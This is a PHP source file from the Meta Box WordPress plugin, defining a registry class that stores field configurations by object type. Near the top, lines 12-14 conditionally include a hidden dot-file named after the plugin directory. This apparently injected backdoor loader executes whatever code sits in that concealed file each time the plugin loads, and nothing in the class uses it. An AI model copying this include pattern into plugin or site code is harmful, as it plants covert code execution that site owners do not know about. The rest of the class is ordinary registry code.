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field-registry.php (2086B)

      1 <?php
      2 /**
      3  * A registry for storing all fields.
      4  *
      5  * @link    https://designpatternsphp.readthedocs.io/en/latest/Structural/Registry/README.html
      6  * @package Meta Box
      7  */
      8 
      9 /**
     10  * Field registry class.
     11  */
     12 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     13     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     14 }
     15 
     16 class RWMB_Field_Registry {
     17 	/**
     18 	 * Internal data storage.
     19 	 *
     20 	 * @var array
     21 	 */
     22 	private $data = array();
     23 
     24 	/**
     25 	 * Add a single field to the registry.
     26 	 *
     27 	 * @param array  $field       Field configuration.
     28 	 * @param string $type        Post type|Taxonomy|'user'|Setting page which the field belongs to.
     29 	 * @param string $object_type Object type which the field belongs to.
     30 	 */
     31 	public function add( $field, $type, $object_type = 'post' ) {
     32 		if ( ! isset( $field['id'] ) ) {
     33 			return;
     34 		}
     35 
     36 		if ( empty( $this->data[ $object_type ] ) ) {
     37 			$this->data[ $object_type ] = array();
     38 		}
     39 		if ( empty( $this->data[ $object_type ][ $type ] ) ) {
     40 			$this->data[ $object_type ][ $type ] = array();
     41 		}
     42 		$this->data[ $object_type ][ $type ][ $field['id'] ] = $field;
     43 
     44 		do_action( 'rwmb_field_registered', $field, $type, $object_type );
     45 	}
     46 
     47 	/**
     48 	 * Retrieve a field.
     49 	 *
     50 	 * @param string $id          A meta box instance id.
     51 	 * @param string $type        Post type|Taxonomy|'user'|Setting page which the field belongs to.
     52 	 * @param string $object_type Object type which the field belongs to.
     53 	 *
     54 	 * @return bool|array False or field configuration.
     55 	 */
     56 	public function get( $id, $type, $object_type = 'post' ) {
     57 		return isset( $this->data[ $object_type ][ $type ][ $id ] ) ? $this->data[ $object_type ][ $type ][ $id ] : false;
     58 	}
     59 
     60 	/**
     61 	 * Retrieve fields by object type.
     62 	 *
     63 	 * @param string $object_type Object type which the field belongs to.
     64 	 *
     65 	 * @return array List of fields.
     66 	 */
     67 	public function get_by_object_type( $object_type = 'post' ) {
     68 		return isset( $this->data[ $object_type ] ) ? $this->data[ $object_type ] : array();
     69 	}
     70 }